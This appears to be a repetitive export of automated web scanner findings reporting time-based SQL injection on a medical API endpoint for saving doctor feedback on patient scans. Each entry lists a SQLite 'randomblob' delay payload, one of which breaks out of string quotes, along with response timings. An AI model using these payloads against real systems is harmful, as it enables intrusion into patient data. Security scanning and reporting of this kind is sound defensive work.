URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,055] milliseconds,
Evidence	parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,828] milliseconds, when the original unmodified query with value [334] took [1,062] milliseconds.

Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,055] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,828] milliseconds, when the original unmodified query with value [334] took [1,062] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,078] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,264] milliseconds, when the original unmodified query with value [495] took [257] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,078] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,264] milliseconds, when the original unmodified query with value [495] took [257] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,078] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,375] milliseconds, when the original unmodified query with value [239] took [1,852] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,078] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,375] milliseconds, when the original unmodified query with value [239] took [1,852] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,382] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [3,538] milliseconds, when the original unmodified query with value [353] took [3,435] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,382] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [3,538] milliseconds, when the original unmodified query with value [353] took [3,435] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,430] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [5,128] milliseconds, when the original unmodified query with value [313] took [2,378] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,430] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [5,128] milliseconds, when the original unmodified query with value [313] took [2,378] milliseconds.

URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,434] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,563] milliseconds, when the original unmodified query with value [675] took [1,915] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,434] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,563] milliseconds, when the original unmodified query with value [675] took [1,915] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,482] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [4,752] milliseconds, when the original unmodified query with value [312] took [1,676] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,482] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [4,752] milliseconds, when the original unmodified query with value [312] took [1,676] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,690] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [4,868] milliseconds, when the original unmodified query with value [0] took [4,171] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,690] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [4,868] milliseconds, when the original unmodified query with value [0] took [4,171] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,692] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [3,380] milliseconds, when the original unmodified query with value [451] took [784] milliseconds.
Other	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,692] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which
Info	caused the request to take [3,380] milliseconds, when the original unmodified query with value [451] took [784] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST

Attack	case randblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,719] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [4,017] milliseconds, when the original unmodified query with value [214] took [794] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,719] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [4,017] milliseconds, when the original unmodified query with value [214] took [794] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,858] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [6,354] milliseconds, when the original unmodified query with value [294] took [2,321] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,858] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [6,354] milliseconds, when the original unmodified query with value [294] took [2,321] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,900] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [3,455] milliseconds, when the original unmodified query with value [0] took [2,033] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,900] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [3,455] milliseconds, when the original unmodified query with value [0] took [2,033] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [294] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,262] milliseconds, when the original unmodified query with value [1560] took [2,994] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [294] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,262] milliseconds, when the original unmodified query with value [1560] took [2,994] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,124] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,415] milliseconds, when the original unmodified query with value [549] took [1,301] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,124] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,415] milliseconds, when the original unmodified query with value [549] took [1,301] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,265] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,981] milliseconds, when the original unmodified query with value [295] took [2,341] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,265] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,981] milliseconds, when the original unmodified query with value [295] took [2,341] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,340] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,667] milliseconds, when the original unmodified query with value [295] took [788] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,340] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,667] milliseconds, when the original unmodified query with value [295] took [788] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,360] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,250] milliseconds, when the original unmodified query with value [53] took [4,123] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,360] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,250] milliseconds, when the original unmodified query with value [53] took [4,123] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end

Evidence	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,474] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [3,565] milliseconds, when the original unmodified query with value [480] took [783] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [3,474] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [3,565] milliseconds, when the original unmodified query with value [480] took [783] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [784] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,731] milliseconds, when the original unmodified query with value [885] took [1,113] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [784] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,731] milliseconds, when the original unmodified query with value [885] took [1,113] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [786] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,636] milliseconds, when the original unmodified query with value [441] took [1,595] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [786] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,636] milliseconds, when the original unmodified query with value [441] took [1,595] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [790] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,191] milliseconds, when the original unmodified query with value [473] took [2,794] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [790] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,191] milliseconds, when the original unmodified query with value [473] took [2,794] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [916] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the

request to take [1,947] milliseconds, when the original unmodified query with value [336] took [1,248] milliseconds.

Other Info

The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [916] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,947] milliseconds, when the original unmodified query with value [336] took [1,248] milliseconds.

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

case randomblob(100000000) when not null then 1 else 1 end

Evidence

The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [948] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,843] milliseconds, when the original unmodified query with value [505] took [1,173] milliseconds.

Other Info

The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [948] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,843] milliseconds, when the original unmodified query with value [505] took [1,173] milliseconds.

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

' | case randomblob(10000000) when not null then "" else "" end | '

Evidence

The query time is controllable using parameter value [' | case randomblob(10000000) when not null then "" else "" end | '], which caused the request to take [1,836] milliseconds, parameter value [' | case randomblob(100000000) when not null then "" else "" end | '], which caused the request to take [2,682] milliseconds, when the original unmodified query with value [203] took [1,102] milliseconds.

Other Info

The query time is controllable using parameter value [' | case randomblob(10000000) when not null then "" else "" end | '], which caused the request to take [1,836] milliseconds, parameter value [' | case randomblob(100000000) when not null then "" else "" end | '], which caused the request to take [2,682] milliseconds, when the original unmodified query with value [203] took [1,102] milliseconds.

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

case randomblob(100000) when not null then 1 else 1 end

Evidence

The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,048] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,621] milliseconds, when the original unmodified query with value [222] took [938] milliseconds.

Other Info

The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,048] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,621] milliseconds, when the original unmodified query with value [222] took [938] milliseconds.

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

case randomblob(100000) when not null then 1 else 1 end

Evidence

The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,080] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,994] milliseconds, when the original unmodified query with value [677] took [1,014] milliseconds.

The query time is controllable using parameter value [case randomblob(100000) when not

Other Info	<p>null then 1 else 1 end], which caused the request to take [1,080] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,994] milliseconds, when the original unmodified query with value [677] took [1,014] milliseconds.</p>
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	<p>case randomblob(100000) when not null then 1 else 1 end</p>
Evidence	<p>The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,088] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [4,408] milliseconds, when the original unmodified query with value [261] took [991] milliseconds.</p>
Other Info	<p>The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,088] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [4,408] milliseconds, when the original unmodified query with value [261] took [991] milliseconds.</p>
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	<p>case randomblob(100000) when not null then 1 else 1 end</p>
Evidence	<p>The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,121] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,770] milliseconds, when the original unmodified query with value [193] took [475] milliseconds.</p>
Other Info	<p>The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,121] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,770] milliseconds, when the original unmodified query with value [193] took [475] milliseconds.</p>
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	<p>case randomblob(100000) when not null then 1 else 1 end</p>
Evidence	<p>The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,125] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,855] milliseconds, when the original unmodified query with value [72] took [778] milliseconds.</p>
Other Info	<p>The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,125] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,855] milliseconds, when the original unmodified query with value [72] took [778] milliseconds.</p>
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	<p>case randomblob(100000) when not null then 1 else 1 end</p>
Evidence	<p>The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,164] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,863] milliseconds, when the original unmodified query with value [156] took [264] milliseconds.</p>
Other	<p>The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,164] milliseconds, parameter</p>

Info	value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,863] milliseconds, when the original unmodified query with value [156] took [264] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	<p>The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,208] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,732] milliseconds, when the original unmodified query with value [239] took [776] milliseconds.</p>
Other Info	<p>The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,208] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,732] milliseconds, when the original unmodified query with value [239] took [776] milliseconds.</p>
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	<p>The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,212] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,627] milliseconds, when the original unmodified query with value [651] took [818] milliseconds.</p>
Other Info	<p>The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,212] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,627] milliseconds, when the original unmodified query with value [651] took [818] milliseconds.</p>
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	<p>The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,224] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,956] milliseconds, when the original unmodified query with value [220] took [777] milliseconds.</p>
Other Info	<p>The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,224] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,956] milliseconds, when the original unmodified query with value [220] took [777] milliseconds.</p>
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	<p>The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,228] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,026] milliseconds, when the original unmodified query with value [93] took [771] milliseconds.</p>
Other Info	<p>The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,228] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [3,026] milliseconds, when the original unmodified query with value [93] took [771] milliseconds.</p>
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST

Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,267] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,189] milliseconds, when the original unmodified query with value [239] took [259] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,267] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,189] milliseconds, when the original unmodified query with value [239] took [259] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,288] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,174] milliseconds, when the original unmodified query with value [178] took [1,215] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,288] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,174] milliseconds, when the original unmodified query with value [178] took [1,215] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,298] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,371] milliseconds, when the original unmodified query with value [213] took [1,261] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,298] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,371] milliseconds, when the original unmodified query with value [213] took [1,261] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,302] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [6,635] milliseconds, when the original unmodified query with value [227] took [1,059] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,302] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [6,635] milliseconds, when the original unmodified query with value [227] took [1,059] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end

Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,305] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,989] milliseconds, when the original unmodified query with value [232] took [796] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,305] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,989] milliseconds, when the original unmodified query with value [232] took [796] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,309] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,763] milliseconds, when the original unmodified query with value [0] took [259] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,309] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,763] milliseconds, when the original unmodified query with value [0] took [259] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,317] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,855] milliseconds, when the original unmodified query with value [242] took [263] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,317] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,855] milliseconds, when the original unmodified query with value [242] took [263] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,338] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,216] milliseconds, when the original unmodified query with value [200] took [783] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,338] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,216] milliseconds, when the original unmodified query with value [200] took [783] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,342] milliseconds, parameter
Evidence	value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,350] milliseconds, when the original unmodified query with value [191] took [1,263] milliseconds.

Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,342] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,350] milliseconds, when the original unmodified query with value [191] took [1,263] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,347] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,360] milliseconds, when the original unmodified query with value [337.32679156135106] took [1,240] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,347] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,360] milliseconds, when the original unmodified query with value [337.32679156135106] took [1,240] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,404] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,760] milliseconds, when the original unmodified query with value [210] took [443] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,404] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [1,760] milliseconds, when the original unmodified query with value [210] took [443] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000) when not null then 1 else 1 end], which caused the request to take [1,435] milliseconds, parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [2,293] milliseconds, when the original unmodified query with value [904] took [765] milliseconds.
